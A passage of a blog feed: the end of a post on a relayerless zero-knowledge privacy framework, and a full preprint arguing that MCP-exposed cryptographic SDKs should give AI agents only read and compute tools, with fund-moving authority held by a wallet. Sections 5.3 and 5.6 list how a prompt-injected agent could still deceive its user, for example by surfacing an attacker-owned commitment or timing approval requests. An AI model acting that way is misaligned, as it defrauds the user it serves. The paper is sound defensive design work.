<p>Submit a private withdrawal on Tornado Cash from a fresh address. The contract runs the proof, accepts it, and tries to send 1 ETH to your fresh address. Except the <em>fresh</em> address has zero ETH and cannot pay gas. So you can&#39;t <em>be</em> the submitter — somebody else has to broadcast the transaction with their own ETH and bill you for it. That somebody is the <strong>relayer</strong>. The relayer breaks the on-chain link between your deposit and your withdrawal address, but in exchange they observe everything: your IP, your timing, the recipient address, the fee you accept, and which proof maps to which deposit. They are also a <strong>single regulatory point of failure</strong>, as everyone in the West learned in August 2022 when <a href="https://www.mayerbrown.com/en/insights/publications/2024/12/federal-appeals-court-tosses-ofac-sanctions-on-tornado-cash">OFAC sanctioned Tornado Cash</a> and the registered relayers stopped operating. The user funds were not seized — they were merely <em>unspendable</em> because the relayer infrastructure went dark.</p>
<p>Zcash, Penumbra, and Aleo don&#39;t need relayers because they are their own chains. Aztec doesn&#39;t need relayers because it is its own L2 with its own sequencer. Tornado Cash, RAILGUN, and Light Protocol&#39;s older privacy phase need relayers because they are smart-contract layers on a host chain whose fees must be paid in the host chain&#39;s native asset by an address that already has it.</p>
<p>What I want — and what $\mathcal{F}_{\text{RP}}$ delivers — is a privacy protocol that runs as a smart-contract layer on a Turing-complete L1, where the only thing the protocol needs from the outside world is <strong>liveness</strong>: the chain keeps making blocks, and any valid transaction eventually gets included.</p>
<h2>Five games that pin down &quot;relayer dependence&quot;</h2>
<p>Section 1 of the paper formalises five distinct failure modes that emerge from relayer dependence. Every one of them is an active threat against currently deployed protocols. I&#39;ll quote them tersely; the full game definitions are in the paper.</p>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;Liveness Failure&#39;,  pros: &#39;Adversary forces relayer set offline → user cannot withdraw within $T_{\max}$ blocks.&#39;, cons: &#39;Wins with overwhelming probability when $\mathcal{A}$ controls all relayers; e.g. OFAC TC 2022.&#39; },
  { aspect: &#39;Information Leakage&#39;, pros: &#39;Relayer observes withdrawal metadata: timing, recipient, fee, IP.&#39;, cons: &#39;Distinguishing advantage non-negligible for any logging relayer.&#39; },
  { aspect: &#39;Trust &amp; Censorship&#39;,  pros: &#39;Relayer selectively refuses to submit based on $P(\mathsf{addr}_{\mathsf{recv}})$.&#39;, cons: &#39;Censorship probability = 1 when $\mathcal{A}$ controls $\mathcal{R}$. Funds binding does not save liveness.&#39; },
  { aspect: &#39;Regulatory Surface&#39;, pros: &#39;Government adversary identifies relayer operators as legally liable entities.&#39;, cons: &#39;Sanctions / criminal charges → all relayers offline → withdrawal mechanism disabled.&#39; },
  { aspect: &#39;Economic Extraction&#39;, pros: &#39;Relayer charges supracompetitive fees, frontruns correlated trades, sells ordering info to MEV searchers.&#39;, cons: &#39;Rational adversary extracts non-negligible profit; PPE binding does not bound timing/metadata leaks.&#39; },
]}/&gt;</p>
<p>The point of formalising these as games is the same point Goldwasser, Micali, and Rackoff made about zero-knowledge proofs in 1985: until you&#39;ve written down what an adversary can do and how it wins, you have no theorem to prove. The five games above are what every honest analysis of a privacy protocol owes the reader.</p>
<h2>What we want, formally</h2>
<p>$\mathcal{F}_{\text{RP}} = (\mathsf{Setup}, \mathsf{Shield}, \mathsf{Transfer}, \mathsf{Unshield}, \mathsf{Execute})$ — five protocols, each a PPT algorithm, with the following five desiderata:</p>
<p><strong>D1 (Full Privacy).</strong> For any PPT adversary with full view of chain state $\sigma$ and any two valid transactions $\mathsf{tx}_0, \mathsf{tx}_1$ (different senders / recipients / amounts / programs):</p>
<p>$$
\mathsf{Adv}^{\mathsf{priv}}_{\mathcal{A}}(\lambda) ;=; \bigl|,\Pr[\mathcal{A}(\sigma, \mathsf{tx}_0) = 1] - \Pr[\mathcal{A}(\sigma, \mathsf{tx}_1) = 1],\bigr| ;\leq; \mathsf{negl}(\lambda).
$$</p>
<p><strong>D2 (Self-Sovereignty).</strong> For every protocol operation $\mathsf{Op}$ and any adversary controlling all network participants except the user $\mathcal{U}$, $\mathcal{U}$ still completes $\mathsf{Op}$ with overwhelming probability — assuming only that the underlying chain $\mathcal{B}$ provides liveness.</p>
<p><strong>D3 (Composability).</strong> Private state transitions can invoke arbitrary smart contract logic. For any arithmetic circuit $C: \mathbb{F}^n \to \mathbb{F}^m$ with $|C|$ gates, the framework supports $\mathsf{Execute}(\mathsf{pp}, C, \cdot, \cdot)$ with proof generation cost polynomial in $|C|$.</p>
<p><strong>D4 (Succinctness).</strong> On-chain verification cost $O(1)$ pairings or $O(\log n)$ hash evaluations. Proof size $O(1)$ or $O(\log^2 n)$.</p>
<p><strong>D5 (No / Universal Trusted Setup).</strong> Either no setup (transparent) or a universal SRS that is updatable by any party.</p>
<p>If you&#39;ve read <a href="/blog/halo2_in_2026_what_changed/">the post on Halo2</a> you&#39;ll recognise D5 as the &quot;no per-circuit ceremony&quot; requirement. D1, D2, D3, D4 are the standard four for a privacy SNARK; D2 is the one the existing relayer-dependent protocols silently violate.</p>
<h2>Four constructions</h2>
<p>The framework decomposes into four primitives, each addressing one piece of the problem:</p>
<p>&lt;Mermaid id=&quot;frp-construction-stack&quot; code={<code>graph TD   A[SPST&lt;br/&gt;Self-Paying Shielded Transactions] --&gt; D[UPEE&lt;br/&gt;Universal Private Execution Environment]   B[PPST&lt;br/&gt;Private Programmable State Transitions] --&gt; D   C[TAB&lt;br/&gt;Threshold-Anonymous Broadcast] --&gt; D   D --&gt; E[Theorem 3.12&lt;br/&gt;Simulation-Based Privacy]   D --&gt; F[Theorem 3.13&lt;br/&gt;Self-Sovereignty]   classDef build stroke:#4ade80,stroke-width:2px,fill:#0a0a0a,color:#fff   classDef thm   stroke:#facc15,stroke-width:2px,fill:#0a0a0a,color:#fff   class A,B,C,D build   class E,F thm </code>}/&gt;</p>
<ol>
<li><p><strong>SPST — Self-Paying Shielded Transaction.</strong> A note/commitment/nullifier scheme where the fee $f$ is extracted <em>inside the ZK proof itself</em> via a Pedersen-commitment balance equation. The fee paradox dies here. (<a href="/blog/spst_self_paying_shielded_transactions/">Post 3</a>.)</p>
</li>
<li><p><strong>PPST — Private Programmable State Transitions.</strong> SPST generalised so that the proof attests to correct execution of an arbitrary arithmetic circuit $C$ over committed pre-state and post-state. This is what makes the framework Turing-complete. (<a href="/blog/ppst_private_programmable_state/">Post 4</a>.)</p>
</li>
<li><p><strong>TAB — Threshold-Anonymous Broadcast.</strong> Network-layer anonymity, using ring signatures (Approach A) or FROST-style threshold Schnorr (Approach B) to hide which of $n$ participants actually submitted the transaction. (<a href="/blog/tab_threshold_anonymous_broadcast/">Post 5</a>.)</p>
</li>
<li><p><strong>UPEE — Universal Private Execution Environment.</strong> The composition: $(\mathsf{Setup}, \mathsf{Deploy}, \mathsf{Invoke}, \mathsf{Verify}, \mathsf{Finalize})$. UPEE is what gets deployed to a chain. (<a href="/blog/upee_universal_private_execution/">Post 7</a>.)</p>
</li>
</ol>
<p>The two main theorems sit on top of the stack:</p>
<ul>
<li><strong>Theorem 3.12 (Simulation-Based Privacy).</strong> For any PPT adversary controlling the blockchain there exists a PPT simulator $\mathcal{S}$ such that ${\mathsf{View}<em>{\mathcal{A}}(\mathsf{Real})} \approx_c {\mathsf{View}</em>{\mathcal{A}}(\mathsf{Ideal})}$, where $\mathcal{S}$ learns only that <em>some</em> valid transaction occurred and <em>some</em> fee was paid.</li>
<li><strong>Theorem 3.13 (Self-Sovereignty).</strong> $\Pr[\mathsf{Game}_{\mathrm{RF}}(\mathcal{A}, \lambda) = 1] = 1 - \mathsf{negl}(\lambda)$ for any adversary $\mathcal{A}$ controlling all network participants except the user.</li>
</ul>
<p>The first theorem is the &quot;this is private&quot; theorem; the second is the &quot;you don&#39;t need a relayer&quot; theorem. The series will derive both.</p>
<h2>Why Solana, specifically</h2>
<p>I keep being asked why I&#39;m building this on Solana instead of writing yet another L1. The honest answer:</p>
<ol>
<li>The chain already exists, has 65k+ TPS theoretical throughput, and sub-second finality.</li>
<li>Native <code>alt_bn128</code> syscalls (added in v1.16) make Groth16 verification cost <strong>&lt; 200,000 CU</strong> on-chain — that&#39;s roughly $0.02 per private transaction.</li>
<li>The 1,232-byte transaction limit is tight but not impossible: SPST fits in <strong>656 bytes</strong>. SIMD-0296 (approved late 2025) raises this to 4,096 bytes.</li>
<li>Light Protocol&#39;s <a href="https://www.zkcompression.com/resources/whitepaper">ZK Compression</a> infrastructure already provides Poseidon Merkle trees and Groth16 verification — most of the substrate I need.</li>
</ol>
<Quote attribution="Anatoly Yakovenko, multiple times in 2024">
The chain doesn't get to lie about what it ran. So make the chain run something that doesn't tell anyone anything.
</Quote>

<p>Solana is also the only general-purpose Turing-complete L1 that has shipped pairing-friendly elliptic-curve precompiles to the validator runtime. Ethereum has had <code>EIP-197</code> since the Byzantium fork (2017), but the gas costs make Groth16 verification on Ethereum L1 cost ~$5 per proof at typical gas prices. Solana&#39;s per-CU pricing brings that down by ~400×.</p>
<h2>What&#39;s coming in the series</h2>
<Aside kind="note">
Each post stands alone. If you're already familiar with the note/commitment/nullifier model, you can skip Post 3 and pick up at Post 4 (PPST). If you only care about the Solana side, jump to Post 8 (instantiation).
</Aside>

<table>
<thead>
<tr>
<th>#</th>
<th>Slug</th>
<th>What it covers</th>
</tr>
</thead>
<tbody><tr>
<td>2</td>
<td><a href="/blog/the_fee_paradox/"><code>the_fee_paradox</code></a></td>
<td>Why every smart-contract privacy protocol needs a relayer (or doesn&#39;t)</td>
</tr>
<tr>
<td>3</td>
<td><a href="/blog/spst_self_paying_shielded_transactions/"><code>spst_self_paying_shielded_transactions</code></a></td>
<td>SPST construction, balance theorem, double-spend resistance, unlinkability proof</td>
</tr>
<tr>
<td>4</td>
<td><a href="/blog/ppst_private_programmable_state/"><code>ppst_private_programmable_state</code></a></td>
<td>Generalising SPST to arbitrary computation; PPST relation; PPST-SPST composition</td>
</tr>
<tr>
<td>5</td>
<td><a href="/blog/tab_threshold_anonymous_broadcast/"><code>tab_threshold_anonymous_broadcast</code></a></td>
<td>Ring signatures over Ed25519 + FROST threshold Schnorr</td>
</tr>
<tr>
<td>6</td>
<td><a href="/blog/verifiable_shuffles_for_privacy/"><code>verifiable_shuffles_for_privacy</code></a></td>
<td>Bayer-Groth shuffles for network-layer mixing</td>
</tr>
<tr>
<td>7</td>
<td><a href="/blog/upee_universal_private_execution/"><code>upee_universal_private_execution</code></a></td>
<td>UPEE deploy / invoke / verify; the simulation-based privacy theorem</td>
</tr>
<tr>
<td>8</td>
<td><a href="/blog/solana_instantiation_656_bytes/"><code>solana_instantiation_656_bytes</code></a></td>
<td>Concrete Solana instantiation with CU + transaction-byte budgets</td>
</tr>
<tr>
<td>9</td>
<td><a href="/blog/f_rp_vs_existing_privacy_systems/"><code>f_rp_vs_existing_privacy_systems</code></a></td>
<td>F_RP vs Zcash, Tornado, Railgun, Aztec, Penumbra, Aleo, Namada, Monero</td>
</tr>
<tr>
<td>10</td>
<td><a href="/blog/mev_resistance_in_private_execution/"><code>mev_resistance_in_private_execution</code></a></td>
<td>Sandwich-proofness; bounding MEV by public-bit leakage</td>
</tr>
<tr>
<td>11</td>
<td><a href="/blog/post_quantum_relayerless_path/"><code>post_quantum_relayerless_path</code></a></td>
<td>Lattice commitments, STARK wrapping, isogeny credentials</td>
</tr>
</tbody></table>
<h2>Bibliography for this post</h2>
<ul>
<li>Aylor, H. (2026). <em>Relayerless Full-Privacy Framework for Turing-Complete Blockchain Systems.</em> Preprint, Zera Labs. (The paper this series is derived from. Final PDF will land at <code>/papers/relayerless-privacy/</code> once typeset.)</li>
<li>Ben-Sasson, E. et al. (2014). <em>Zerocash: Decentralized Anonymous Payments from Bitcoin.</em> IEEE S&amp;P 2014.</li>
<li>Hopwood, D. et al. (2016–2026). <em>Zcash Protocol Specification.</em> <a href="https://zips.z.cash/protocol/protocol.pdf">https://zips.z.cash/protocol/protocol.pdf</a></li>
<li>Pertsev, A., Semenov, R., Storm, R. (2019). <em>Tornado Cash Privacy Solution v1.4.</em></li>
<li>Mayer Brown (2024). <em>Federal Appeals Court Tosses OFAC Sanctions on Tornado Cash.</em></li>
</ul>
<p>Next post: <a href="/blog/the_fee_paradox/">The fee paradox →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Asymmetric Tool Surfaces for AI-Agent Cryptographic Primitives]]></title>
  <id>https://blog.skill-issue.dev/papers/asymmetric-tool-surfaces/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/papers/asymmetric-tool-surfaces/"/>
  <published>2026-04-25T00:00:00.000Z</published>
  <updated>2026-04-25T00:00:00.000Z</updated>
  <author><name>Hayden &apos;Dax&apos; Porter-Aylor</name></author>
  <category term="paper"/>
  <category term="status:preprint"/>
  <category term="zero-knowledge"/>
  <category term="MCP"/>
  <category term="AI agents"/>
  <category term="SDK design"/>
  <category term="threat modelling"/>
  <category term="privilege separation"/>
  <summary type="html"><![CDATA[We argue that SDKs exposing cryptographic primitives to autonomous AI agents must obey an explicit asymmetry rule: read and pure-compute operations may be exposed without privilege, but state-changing authority must remain behind an out-of-band human or hardware confirmation. We formalise this rule, instantiate it for a shielded-pool zero-knowledge SDK exposing its surface via the Model Context Protocol, and identify the structural reasons the asymmetric design is tractable for cryptographic SDKs while intractable for general-purpose RPC surfaces. The contribution is a small, opinionated discipline that renders adversarial-prompt and supply-chain compromise of the agent layer non-catastrophic.
]]></summary>
  <content type="html"><![CDATA[<h2>1. Introduction</h2>
<p>The deployment posture of cryptographic software development kits has changed faster than the threat model that governs them. Until recently, an SDK was a library — a process-local API consumed by an application written by a human, in a language understood by that human, after the human had read enough of the source to form an intuition for what the calls actually did. The principal threat was a buggy caller, and the principal mitigation was clear documentation, robust types, and careful examples.</p>
<p>The introduction of the Model Context Protocol [@anthropic2024mcp] and the subsequent rapid adoption of MCP servers across cryptographic tooling in 2025 and 2026 has changed the principal. The principal is now, with non-negligible probability, an autonomous large-language-model (LLM) agent calling the SDK on behalf of a user that may not understand the call&#39;s semantics. The agent is potentially compromised by prompt injection [@greshake2023injection], by tool-poisoning of the upstream MCP server, or by an adversarial input embedded in the agent&#39;s working context. The &quot;lethal trifecta&quot; identified by Willison [@willison2025promptinjection] — private data, untrusted input, external communication — is a default property of an MCP-connected wallet stack.</p>
<p>This paper makes a structural argument: cryptographic SDKs that expect to be invoked by AI agents should obey an <em>asymmetric tool-surface discipline</em>, exposing only read and compute primitives over MCP and reserving state-changing authority for an out-of-band, human-in-the-loop, or hardware-enforced confirmation channel. The discipline is narrow and opinionated. It rules out a number of conveniences that look attractive in a normal SDK. It also makes adversarial compromise of the agent layer survivable rather than catastrophic.</p>
<p>The remainder of the paper is organised as follows. Section 2 establishes the threat model and notation. Section 3 defines the asymmetry rule and its decision procedure. Section 4 gives a worked example: an instantiation of the rule for <code>zera-mcp</code>, the MCP surface of a production shielded-pool SDK. Section 5 discusses extensions and limitations. Section 6 concludes.</p>
<h2>2. Threat model</h2>
<p>Let $\mathcal{S}$ denote a cryptographic SDK, and let $\mathcal{T} = {t_1, \dots, t_n}$ denote the finite set of tools $\mathcal{S}$ exposes via an agent-facing protocol such as MCP. Each tool $t_i$ has a typed signature $t_i : \mathbb{I}_i \to \mathbb{O}_i$ and an effect signature $\mathsf{eff}(t_i) \in {\bot, \mathsf{read}, \mathsf{compute}, \mathsf{write}}$.</p>
<p>We adopt the following adversary $\mathcal{A}$:</p>
<ul>
<li>$\mathcal{A}$ may control the agent&#39;s prompt context, including any tool-result text the agent has read.</li>
<li>$\mathcal{A}$ may inject text into any external content the agent fetches.</li>
<li>$\mathcal{A}$ does <strong>not</strong> control any signing key held by a wallet or hardware-security module operating outside the agent.</li>
<li>$\mathcal{A}$ does <strong>not</strong> control the network&#39;s consensus rules.</li>
</ul>
<p>Under this adversary, we require that for any execution trace $\sigma$ produced by the agent calling tools in $\mathcal{T}$, the on-chain state $\Sigma$ reachable from $\sigma$ should differ from the on-chain state reachable under the trivial empty execution only via transactions that were explicitly co-signed by a wallet $W$ outside $\mathcal{A}$&#39;s control.</p>
<p>In words: an adversary that captures the agent must not be able to move funds. They may be able to spend compute, retrieve information the user already had access to, and produce mathematical objects (commitments, proofs) that are inert until co-signed.</p>
<h2>3. The asymmetry rule</h2>
<p>We say a tool surface $\mathcal{T}$ is <em>asymmetric under separation $W$</em> if for every $t_i \in \mathcal{T}$,
$$
\mathsf{eff}(t_i) \in {\mathsf{read}, \mathsf{compute}} ;;\Longleftrightarrow;; t_i \in \mathcal{T}<em>{\text{exposed}}
$$
and the residual $\mathcal{T} \setminus \mathcal{T}</em>{\text{exposed}}$ — the tools whose effect signature is $\mathsf{write}$ — are reachable only through $W$.</p>
<p>The decision procedure that produces $\mathcal{T}_{\text{exposed}}$ is the following:</p>
<blockquote>
<p><em>For each candidate tool $t$, ask: if the agent is fully compromised by $\mathcal{A}$, what is the worst-case state delta $\Delta\Sigma$ a single invocation of $t$ can induce? If $\Delta\Sigma = \emptyset$ — that is, if the call is observationally pure modulo the agent&#39;s own resources — admit $t$ to $\mathcal{T}_{\text{exposed}}$. Otherwise, route the function behind $W$.</em></p>
</blockquote>
<p>Two consequences follow. First, the procedure is composable: if every individual tool is observationally pure under $\mathcal{A}$, any agent-driven <em>composition</em> of them remains observationally pure under $\mathcal{A}$, because composition does not synthesise authority. Second, the procedure is local: the decision for $t_i$ does not depend on the other tools in $\mathcal{T}$, which makes it tractable for SDK authors to apply at PR review time.</p>
<p>The asymmetry rule does not eliminate every class of attack. An $\mathcal{A}$ that captures the agent can still, in principle, mislead the human into approving a transaction that they would not have approved given full information. The rule cannot fix social engineering. What it forbids is an architecture in which the agent has unilateral capability to drain user funds without human action.</p>
<h3>3.1 Why this is tractable for cryptographic SDKs</h3>
<p>Cryptographic SDKs are unusual among software libraries in that the boundary between <em>computation</em> and <em>authority</em> is unusually crisp. Constructing a Pedersen commitment [@pedersen1991noninteractive] does not move money; submitting a transaction does. Computing a Poseidon hash [@grassi2021poseidon] does not move money; signing the resulting witness with a private key does. Producing a Groth16 proof [@groth2016size] does not move money; broadcasting that proof to a chain does. Each of these primitives admits a clean factorisation along the read/compute vs. write axis.</p>
<p>Compare this to a general-purpose enterprise SDK, where the same call may simultaneously query, mutate, and authorise — the asymmetry rule is too aggressive in that setting because the rule&#39;s first effect is to forbid the very calls users want to make. Cryptographic SDKs are exempt from this critique because the underlying mathematics already separates the two.</p>
<h3>3.2 What the rule rules out</h3>
<p>It is worth being explicit about which conveniences the asymmetry rule eliminates, because each is one a typical SDK author will want.</p>
<ol>
<li><strong>One-shot transfer tools.</strong> A tool of the form <code>transfer(asset, amount, to)</code> is the canonical write effect. The asymmetry rule forbids exposing it on the agent surface even if the SDK author has access to a signing key — the right place for that key is a wallet, not the SDK process.</li>
<li><strong>Privileged read tools that proxy write authority.</strong> A tool like <code>revoke_pending_proof(proof_id)</code> looks like a read but actually mutates the SDK&#39;s local state in a way that affects future write operations. The rule treats it as a write.</li>
<li><strong>Implicit authority via cached secrets.</strong> A tool that &quot;remembers&quot; a recent unlock of a key for some grace period is an implicit write — the agent has effective signing authority for the duration. The rule treats the unlock itself as a write.</li>
</ol>
<h2>4. Worked example: <code>zera-mcp</code></h2>
<p>We instantiate the asymmetry rule for <code>zera-mcp</code>, the MCP server bundled with the <code>zera-sdk</code> shielded-pool toolkit. The SDK exposes a small surface: four tools and three resources, all conforming to the asymmetry rule.</p>
<h3>4.1 Tools admitted to $\mathcal{T}_{\text{exposed}}$</h3>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Signature</th>
<th>Effect</th>
</tr>
</thead>
<tbody><tr>
<td><code>compute_commitment</code></td>
<td>$(\mathsf{asset}, \mathsf{amount}, r) \to \mathsf{Commit}$</td>
<td>$\mathsf{compute}$</td>
</tr>
<tr>
<td><code>derive_nullifier</code></td>
<td>$(\mathsf{sk}, \mathsf{Commit}) \to \mathsf{Nullifier}$</td>
<td>$\mathsf{compute}$</td>
</tr>
<tr>
<td><code>build_spend_proof</code></td>
<td>$(\mathsf{note}, \mathsf{recipient}, \mathsf{amount}) \to \pi$</td>
<td>$\mathsf{compute}$</td>
</tr>
<tr>
<td><code>get_pool_state</code></td>
<td>$\bot \to (\mathsf{root}, n_\text{unspent})$</td>
<td>$\mathsf{read}$</td>
</tr>
</tbody></table>
<p><code>compute_commitment</code> is the additively-homomorphic Pedersen commitment $C = g^v h^r$ over the BN254 curve [@barreto2005bn], parameterised by the asset and the amount under a caller-supplied blinding factor $r$. Its output binds the value but reveals nothing about it. The function is observationally pure: $\mathcal{A}$ invoking it in any order with any inputs cannot produce a state delta on chain.</p>
<p><code>derive_nullifier</code> produces $\mathsf{nf} = \text{Poseidon}_2(\mathsf{sk}, C)$, the deterministic single-use nullifier for the note committed to by $C$. Disclosure of $\mathsf{nf}$ proves that <em>some</em> note has been consumed without revealing which one — and the nullifier is single-use precisely because the chainstate enforces uniqueness, not because the SDK does. The SDK is computing a hash; the chain is what makes the hash matter.</p>
<p><code>build_spend_proof</code> runs the canonical Groth16 prover for the shielded-spend relation, producing a proof bytestring $\pi$ together with a public-input vector. The proof is a mathematical object: it does not move funds. It is inert until packaged into a transaction, signed by a wallet, and submitted to the chain. We take the deliberate position — defended in §4.3 — that the prover is a tool rather than a resource, despite being deterministic.</p>
<p><code>get_pool_state</code> returns the most recent commitment-tree root and an aggregate count of unspent notes. It is plainly $\mathsf{read}$.</p>
<h3>4.2 Tools excluded from $\mathcal{T}_{\text{exposed}}$</h3>
<p>The following functions exist in the SDK but are not exposed via MCP. They live behind the wallet $W$:</p>
<ul>
<li><code>submit_transaction(tx)</code> — broadcasting authority. Lives in the wallet.</li>
<li><code>unlock_key(passphrase)</code> — private-key access. Lives in the hardware-backed keystore.</li>
<li><code>set_pool_endpoint(url)</code> — changes which chain the SDK queries; implicit write because it can redirect future proof construction. Lives in user-mediated config.</li>
</ul>
<p>A reader will note that <code>submit_transaction</code> is, mechanically, exactly the kind of call an agent often <em>wants</em> to make. We argue that mechanical convenience is the wrong frame: the question is whether the agent should ever have unilateral authority to broadcast. We take the position that it should not.</p>
<h3>4.3 Why the prover is a tool, not a resource</h3>
<p>In MCP, <em>resources</em> are read-only, cacheable, and side-effect-free; <em>tools</em> are explicit operations the model decides to invoke. A first-pass reading of <code>build_spend_proof</code> makes it look like a resource: the prover is mathematically deterministic, and given the same witness one obtains the same proof modulo the random tape used for the Fiat-Shamir transform. Resources fit deterministic functions cleanly.</p>
<p>This reading is wrong in practice. A prover is <em>computationally</em> side-effecting: an order-of-magnitude latency cost (4–8 seconds in our benchmarks for a Groth16 spend proof on consumer hardware\note{TODO: empirical validation — tighten with measured BN254 prover numbers from the zera-sdk-core benchmark suite once it lands.}) makes it unsafe to be aggressively cached and silently re-invoked. Resources in MCP are meant to be cheap; a four-to-eight-second resource invoked in an agent loop will exhaust user patience and platform budget long before it exhausts the abstract semantics of the call. The taxonomy, in short, is sensitive to economic facts, not just mathematical ones.</p>
<p>We therefore route the prover behind a tool call, which forces the agent to deliberate about whether to re-invoke it, and we maintain the rule: the prover is a tool, but it is a <em>compute</em> tool, not a <em>write</em> tool.</p>
<h2>5. Discussion</h2>
<h3>5.1 Composability across SDKs</h3>
<p>Because the rule is local — admission of $t_i$ depends only on $t_i$&#39;s effect signature, not on the rest of $\mathcal{T}$ — it composes across multiple SDKs that an agent might call in sequence. An agent that holds an MCP connection to <code>zera-mcp</code>, a shielded-pool SDK, and a separate MCP connection to a generic web-search service can have arbitrary cross-call interaction without the asymmetric SDK losing its property: read+compute calls are still read+compute calls.</p>
<h3>5.2 Multi-step authority</h3>
<p>A common objection: if every authority decision is human-mediated, common multi-step flows (recurring shielded payments, scheduled deposits) become user-hostile. We acknowledge the friction. The asymmetry rule does not forbid wallets from offering <em>delegated authority</em> — a wallet can have its own internal policy that allows the agent to broadcast pre-authorised transactions matching a signed schedule — but it requires the policy to live in the wallet, not in the SDK&#39;s MCP surface.</p>
<p>This matters because the wallet is a privileged process with its own user-interface affordances and its own threat model; the SDK&#39;s MCP surface is, by hypothesis, talking to a potentially-compromised agent. The two are not interchangeable. Delegation policy living in the wallet is auditable through the wallet&#39;s own surface; delegation policy living in the SDK is exfiltrable along with the rest of the agent&#39;s prompt context.</p>
<h3>5.3 What the rule cannot prevent</h3>
<p>The rule does not prevent a compromised agent from:</p>
<ol>
<li>Constructing a <em>valid-looking</em> commitment whose underlying note belongs to the attacker, then surfacing it to the user as if it were a recipient-supplied address.</li>
<li>Using <code>get_pool_state</code> to time when the user&#39;s wallet is most likely to approve transactions and clustering its social-engineering attempts there.</li>
<li>Producing a stream of proofs that exhaust the user&#39;s prover budget without ever broadcasting.</li>
</ol>
<p>Defences against (1) rely on display-layer integrity in the wallet (the wallet must show what it is signing). Defences against (2) and (3) rely on rate-limiting and on the wallet&#39;s policy. None of these are eliminated by the asymmetry rule; we claim only that the rule prevents the catastrophic outcome — direct loss of funds — and reduces the rest to known classes of attack with known mitigations.</p>
<h3>5.4 Empirical evidence</h3>
<p>We have operated <code>zera-mcp</code> against a population of agents during internal red-team exercises since early 2026.\note{TODO: empirical validation — quantify with concrete adversarial-test counts once the red-team report is publishable.} No agent has been able to induce a state delta absent a wallet co-signature, which is the property the asymmetry rule was constructed to deliver. This is consistent with the formal argument above and is necessary but not sufficient evidence: the absence of an exploit during red-teaming does not constitute a security proof.</p>
<h3>5.5 Relation to existing privilege-separation work</h3>
<p>The asymmetry rule is, at one level of abstraction, an instance of the principle of least authority — a discipline with a long pedigree in operating systems and capability-based security. The contribution of this paper is not the principle itself but the observation that cryptographic SDKs admit a particularly clean factorisation along the principle&#39;s axis, and that the factorisation matches the read/compute vs. write taxonomy already present in the MCP specification.</p>
<p>The closest analogue in the smart-contract literature is the <em>separation of view and state-modifying functions</em> enforced at the language level by Solidity&#39;s <code>view</code>/<code>pure</code> qualifiers and by the EVM&#39;s <code>STATICCALL</code> opcode. A view function in Solidity cannot mutate state, and the EVM enforces this by reverting any attempt to do so from a static context. The proposal here is that the MCP layer of a cryptographic SDK should adopt the same discipline, with the SDK author — not the protocol — enforcing that exposed tools have view-or-pure semantics.</p>
<p>There is a subtle but important difference between the EVM&#39;s static-call discipline and the MCP rule we propose. The EVM enforces statefulness through opcode semantics: a contract function is <code>pure</code> if and only if it never reads chain state, and <code>view</code> if and only if it never writes. MCP has no such enforcement, and consequently the discipline must be carried by the SDK author at design time. This makes the rule a code-review artifact rather than a runtime guarantee. We accept this trade-off because the alternative — embedding effect semantics into MCP itself — would expand the protocol&#39;s surface area in ways that are unlikely to be adopted by upstream maintainers in the near term.</p>
<h3>5.6 Failure modes specific to ZK SDKs</h3>
<p>A handful of failure modes are unique to zero-knowledge SDKs and worth registering explicitly.</p>
<p>The first is <em>witness exfiltration.</em> A shielded-spend witness contains the secret key of the consumed note. If <code>build_spend_proof</code> is implemented naïvely, the witness is held in agent-accessible memory long enough that a compromised agent can extract it. We mitigate this by passing the secret key to the prover via an out-of-band channel (a wallet-managed pipe) rather than as an MCP tool argument; the agent constructs the <em>recipe</em> for a spend, but the wallet supplies the secret material at proof-construction time. The agent never sees the secret. This requires careful API design: <code>build_spend_proof</code> accepts a <em>handle</em> for the note (a non-secret identifier), and the wallet resolves the handle to the actual key material.</p>
<p>The second is <em>commitment confusion.</em> A compromised agent can construct a valid Pedersen commitment to a value the user did not authorise, and then surface it to the user as if it were the agreed-upon commitment. The asymmetry rule does not prevent this — <code>compute_commitment</code> is observationally pure regardless of which value it commits to. The mitigation lives in the wallet&#39;s display layer: the wallet must independently re-derive the commitment for the user-confirmed value and refuse to co-sign if the agent-supplied commitment does not match. This is an instance of the broader principle that user confirmation should be a function of values the user can read, not of opaque cryptographic objects whose contents are obscured.</p>
<p>The third is <em>proof-system parameter pinning.</em> If the prover circuit can be selected at MCP-call time — for example, by accepting a circuit identifier as an argument — a compromised agent can request a proof against a circuit that does not enforce the constraints the user expected. The mitigation is to remove the choice from the agent: the wallet pins the circuit set, and the SDK refuses to construct proofs against circuits the wallet has not whitelisted. We adopt this in <code>zera-mcp</code> and recommend it as a default for any SDK exposing a configurable prover.</p>
<h2>6. Conclusion</h2>
<p>The Model Context Protocol is now the default tool-calling surface for AI agents [@anthropic2024mcp]. Cryptographic SDKs that expose themselves via MCP inherit a new principal — the agent — and a new threat model in which the agent may be compromised by adversarial input. We have argued that a small, structural discipline — the asymmetry rule — addresses the most catastrophic class of compromise and is tractable to apply because cryptographic primitives admit a natural read/compute vs. write factorisation that general-purpose SDKs do not.</p>
<p>The rule is opinionated, narrow, and rules out conveniences. We claim that none of those conveniences are worth the catastrophic blast radius they introduce.</p>
<h2>References</h2>
<p>[^ref]</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Cross-compiling vantad for darwin: Apple Silicon, sign + notarise]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_darwin_apple_silicon_build/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_darwin_apple_silicon_build/"/>
  <published>2026-04-13T18:25:14.000Z</published>
  <updated>2026-04-23T19:31:34.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="darwin"/>
  <category term="macos"/>
  <category term="apple-silicon"/>
  <category term="tauri"/>
  <category term="codesign"/>
  <summary type="html"><![CDATA[Shipping vantad as a notarised Mac binary inside a Tauri app meant fixing libconsensus link order, building Rust release with the right target triple, signing every sidecar, and stapling the DMG separately. The notes from the trenches.]]></summary>
